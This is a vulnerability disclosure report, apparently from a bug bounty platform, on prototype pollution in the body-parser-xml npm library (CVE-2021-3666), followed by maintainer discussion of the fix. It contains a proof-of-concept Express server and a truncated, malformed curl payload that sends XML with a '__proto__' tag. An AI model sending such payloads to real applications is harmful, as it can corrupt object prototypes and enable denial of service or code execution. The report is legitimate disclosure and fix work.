Prototype Pollution in fiznool/body-parser-xml

0

Valid Reported on May 18th 2021

✍️ Description

This library uses an XML parsing library which causes prototype pollution. However, this issue can be fixed on our side.

🦹 Proof of Concept

```
const express = require('express');
const bodyParser = require('body-parser');

require('body-parser-xml')(bodyParser);

const app = express();
const port = 3001

app.use(bodyParser.xml({
xmlParseOptions: {
normalize: true, // Trim whitespace inside text nodes
normalizeTags: true, // Transform tags to lowercase
explicitArray: false, // Only put nodes in array if >1
}
}));

app.post("/", (req, res) => {
console.log(req.body)
console.log(req.body.__proto__)
return res.end("OK")
});

app.listen(port , () => {
console.log(`Server at http://localhost:${port}`)
});
```

Then make a POST request :

```
curl -X POST http://localhost:3001/ -d "<__proto__><test>ok</teststst></__prc
```

💥 Impact

This vulnerability is capable of causing Remote code execution and denial of service attack depending upon how it is used.

Occurrences

JS index.js L46

References

- A similar report.
- This library uses an XML parsing library which is no longer maintained to parse XML. This ca uses prototype pollution.

CVE
CVE-2021-3666
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
High (7.6)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Yadhu Krishna M
@yadhukrishnam
unranked

Fixed by

Yadhu Krishna M
@yadhukrishnam
unranked

This report was seen 805 times.

Tom Spencer 2 years ago — Maintainer

Thanks for this. I would question the following line:

This library uses an XML parsing library which is no longer maintained to parse XML

The xml2js library is not actively maintained, but sees over 11M downloads per week on npm, and is not marked as deprecated. Although this vulnerability exists, and has been reported on the repo itself (https://github.com/Leonidas-from-XIV/node-xml2js/issues/593) it is still an actively used library.

Yadhu Krishna M 2 years ago — Researcher

Yeah. You are right. The library is not deprecated. But I can see there has been very less or no communications from the maintainer. Many other libraries have already made a fix for this issue.

Tom Spencer 2 years ago — Maintainer

Thanks for the patch. A couple of things:

A similar exploit was fixed in another of my libs, which also involved the `constructor` and `prototype` keys. Maybe we should do the same here? https://github.com/fiznool/express-mongo-sanitize/commit/2cad07bb88263ddb1c135453dfc6c90cc3243748

Can we please have tests to cover these scenarios.

Yadhu Krishna M 2 years ago — Researcher

I have updated the patch and added tests to cover those scenarios. Could you check?

Jamie Slome a year ago — Admin

CVE published! 🎉

CVE-2021-3666

Sign in to join this conversation